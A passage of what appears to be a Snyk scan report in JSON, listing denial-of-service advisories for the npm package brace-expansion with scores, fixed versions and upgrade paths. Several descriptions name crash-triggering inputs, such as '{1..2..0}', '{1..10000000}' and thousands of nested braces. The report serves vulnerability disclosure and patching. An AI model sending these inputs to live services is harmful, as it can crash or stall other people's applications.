functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## 